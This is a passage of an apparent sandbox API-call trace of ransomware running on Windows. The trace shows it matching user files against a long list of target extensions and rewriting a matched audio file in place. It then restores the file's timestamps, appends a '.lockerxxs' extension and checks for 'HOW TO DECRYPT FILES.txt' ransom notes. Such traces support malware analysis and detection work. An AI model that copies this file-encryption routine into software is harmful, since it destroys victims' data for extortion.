HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.dwg") returned 0 [0090.417] lstrlenA (lpString="*.dwg") returned 5 [0090.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.nd") returned 0 [0090.418] lstrlenA (lpString="*.nd") returned 4 [0090.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.tlg") returned 0 [0090.418] lstrlenA (lpString="*.tlg") returned 5 [0090.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.lgb") returned 0 [0090.418] lstrlenA (lpString="*.lgb") returned 5 [0090.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.mov") returned 0 [0090.418] lstrlenA (lpString="*.mov") returned 5 [0090.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.xdw") returned 0 [0090.418] lstrlenA (lpString="*.xdw") returned 5 [0090.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.ods") returned 0 [0090.418] lstrlenA (lpString="*.ods") returned 5 [0090.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.wav") returned 0 [0090.418] lstrlenA (lpString="*.wav") returned 5 [0090.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.mp3") returned 0 [0090.418] lstrlenA (lpString="*.mp3") returned 5 [0090.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.aiff") returned 0 [0090.418] lstrlenA (lpString="*.aiff") returned 6 [0090.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.flac") returned 0 [0090.418] lstrlenA (lpString="*.flac") returned 6 [0090.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.m4a") returned 1 [0090.419] lstrlenA (lpString="*.m4a") returned 5 [0090.419] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a" [0090.419] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a" [0090.419] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a." [0090.419] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a.lockerxxs" [0090.419] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\qru7.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.420] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x410d [0090.420] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x3a213420, dwHighDateTime=0x1d5d7d8), lpLastAccessTime=0x407536*(dwLowDateTime=0x26b782c0, dwHighDateTime=0x1d5e748), lpLastWriteTime=0x40753e*(dwLowDateTime=0x26b782c0, dwHighDateTime=0x1d5e748)) returned 1 [0090.420] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.420] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x40e7, lpOverlapped=0x0) returned 1 [0090.422] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a") returned="qrU7.m4a" [0090.422] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.422] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x40e7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x40e7, lpOverlapped=0x0) returned 1 [0090.422] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.422] CloseHandle (hObject=0x90) returned 1 [0090.423] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\qru7.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\qru7.m4a.lockerxxs")) returned 1 [0090.424] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79cad3c0, ftCreationTime.dwHighDateTime=0x1d5d895, ftLastAccessTime.dwLowDateTime=0x32ec84b0, ftLastAccessTime.dwHighDateTime=0x1d5e585, ftLastWriteTime.dwLowDateTime=0x32ec84b0, ftLastWriteTime.dwHighDateTime=0x1d5e585, nFileSizeHigh=0x0, nFileSizeLow=0xc6b8, dwReserved0=0x43000340, dwReserved1=0x4e00c4, cFileName="VYnQux1UoTnNrKV4v_.m4a", cAlternateFileName="VYNQUX~1.M4A")) returned 1 [0090.424] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.424] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VYnQux1UoTnNrKV4v_.m4a") returned -1 [0090.424] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VYnQux1UoTnNrKV4v_.m4a") returned -1 [0090.424] lstrcmpiA (lpString1="", lpString2="VYnQux1UoTnNrKV4v_.m4a") returned -1 [0090.424] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a") returned="qrU7.m4a" [0090.424] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\" [0090.424] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\") returned="" [0090.424] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\HOW TO DECRYPT FILES.txt" [0090.424] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\how to decrypt files.txt")) returned 0x20 [0090.424] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\", lpString2="VYnQux1UoTnNrKV4v_.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a" [0090.424] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.ems") returned 0 [0090.424] lstrlenA (lpString="*.ems") returned 5 [0090.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.db") returned 0 [0090.425] lstrlenA (lpString="*.db") returned 4 [0090.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.dbf") returned 0 [0090.425] lstrlenA (lpString="*.dbf") returned 5 [0090.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.myox") returned 0 [0090.425] lstrlenA (lpString="*.myox") returned 6 [0090.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.myo") returned 0 [0090.425] lstrlenA (lpString="*.myo") returned 5 [0090.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.qbw") returned 0 [0090.425] lstrlenA (lpString="*.qbw") returned 5 [0090.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.qbb") returned 0 [0090.425] lstrlenA (lpString="*.qbb") returned 5 [0090.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.qbm") returned 0 [0090.425] lstrlenA (lpString="*.qbm") returned 5 [0090.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.qbo") returned 0 [0090.425] lstrlenA (lpString="*.qbo") returned 5 [0090.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.qbx") returned 0 [0090.425] lstrlenA (lpString="*.qbx") returned 5 [0090.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.qba") returned 0 [0090.425] lstrlenA (lpString="*.qba") returned 5 [0090.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.qby") returned 0 [0090.426] lstrlenA (lpString="*.qby") returned 5 [0090.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.qbj") returned 0 [0090.426] lstrlenA (lpString="*.qbj") returned 5 [0090.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.ofx") returned 0 [0090.426] lstrlenA (lpString="*.ofx") returned 5 [0090.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.qif") returned 0 [0090.426] lstrlenA (lpString="*.qif") returned 5 [0090.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.mye") returned 0 [0090.426] lstrlenA (lpString="*.mye") returned 5 [0090.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.mbox") returned 0 [0090.426] lstrlenA (lpString="*.mbox") returned 6 [0090.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.eml") returned 0 [0090.426] lstrlenA (lpString="*.eml") returned 5 [0090.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.pst") returned 0 [0090.426] lstrlenA (lpString="*.pst") returned 5 [0090.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.ost") returned 0 [0090.426] lstrlenA (lpString="*.ost") returned 5 [0090.426] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.idx") returned 0 [0090.426] lstrlenA (lpString="*.idx") returned 5 [0090.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.dbx") returned 0 [0090.427] lstrlenA (lpString="*.dbx") returned 5 [0090.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.sql") returned 0 [0090.427] lstrlenA (lpString="*.sql") returned 5 [0090.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.mdb") returned 0 [0090.427] lstrlenA (lpString="*.mdb") returned 5 [0090.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.fdb") returned 0 [0090.427] lstrlenA (lpString="*.fdb") returned 5 [0090.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.wab") returned 0 [0090.427] lstrlenA (lpString="*.wab") returned 5 [0090.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.dat") returned 0 [0090.427] lstrlenA (lpString="*.dat") returned 5 [0090.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.txt") returned 0 [0090.427] lstrlenA (lpString="*.txt") returned 5 [0090.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.jpeg") returned 0 [0090.427] lstrlenA (lpString="*.jpeg") returned 6 [0090.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.jpg") returned 0 [0090.427] lstrlenA (lpString="*.jpg") returned 5 [0090.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.png") returned 0 [0090.427] lstrlenA (lpString="*.png") returned 5 [0090.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.php") returned 0 [0090.428] lstrlenA (lpString="*.php") returned 5 [0090.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.cs") returned 0 [0090.428] lstrlenA (lpString="*.cs") returned 4 [0090.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.cpp") returned 0 [0090.428] lstrlenA (lpString="*.cpp") returned 5 [0090.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.rar") returned 0 [0090.428] lstrlenA (lpString="*.rar") returned 5 [0090.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.zip") returned 0 [0090.428] lstrlenA (lpString="*.zip") returned 5 [0090.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.html") returned 0 [0090.428] lstrlenA (lpString="*.html") returned 6 [0090.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.htm") returned 0 [0090.428] lstrlenA (lpString="*.htm") returned 5 [0090.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.xlsx") returned 0 [0090.428] lstrlenA (lpString="*.xlsx") returned 6 [0090.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.xls") returned 0 [0090.428] lstrlenA (lpString="*.xls") returned 5 [0090.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.mp4") returned 0 [0090.428] lstrlenA (lpString="*.mp4") returned 5 [0090.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.ppt") returned 0 [0090.429] lstrlenA (lpString="*.ppt") returned 5 [0090.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.pptx") returned 0 [0090.429] lstrlenA (lpString="*.pptx") returned 6 [0090.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.doc") returned 0 [0090.429] lstrlenA (lpString="*.doc") returned 5 [0090.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.dot") returned 0 [0090.429] lstrlenA (lpString="*.dot") returned 5 [0090.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.docx") returned 0 [0090.429] lstrlenA (lpString="*.docx") returned 6 [0090.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.7z") returned 0 [0090.429] lstrlenA (lpString="*.7z") returned 4 [0090.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.tar") returned 0 [0090.429] lstrlenA (lpString="*.tar") returned 5 [0090.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.bz2") returned 0 [0090.429] lstrlenA (lpString="*.bz2") returned 5 [0090.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.gz") returned 0 [0090.429] lstrlenA (lpString="*.gz") returned 4 [0090.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.mkv") returned 0 [0090.429] lstrlenA (lpString="*.mkv") returned 5 [0090.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.eml") returned 0 [0090.430] lstrlenA (lpString="*.eml") returned 5 [0090.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.msg") returned 0 [0090.430] lstrlenA (lpString="*.msg") returned 5 [0090.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.edb") returned 0 [0090.430] lstrlenA (lpString="*.edb") returned 5 [0090.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.accdb") returned 0 [0090.430] lstrlenA (lpString="*.accdb") returned 7 [0090.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.odb") returned 0 [0090.430] lstrlenA (lpString="*.odb") returned 5 [0090.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.java") returned 0 [0090.430] lstrlenA (lpString="*.java") returned 6 [0090.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.asm") returned 0 [0090.430] lstrlenA (lpString="*.asm") returned 5 [0090.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.pfx") returned 0 [0090.430] lstrlenA (lpString="*.pfx") returned 5 [0090.430] PathMatchSpecA 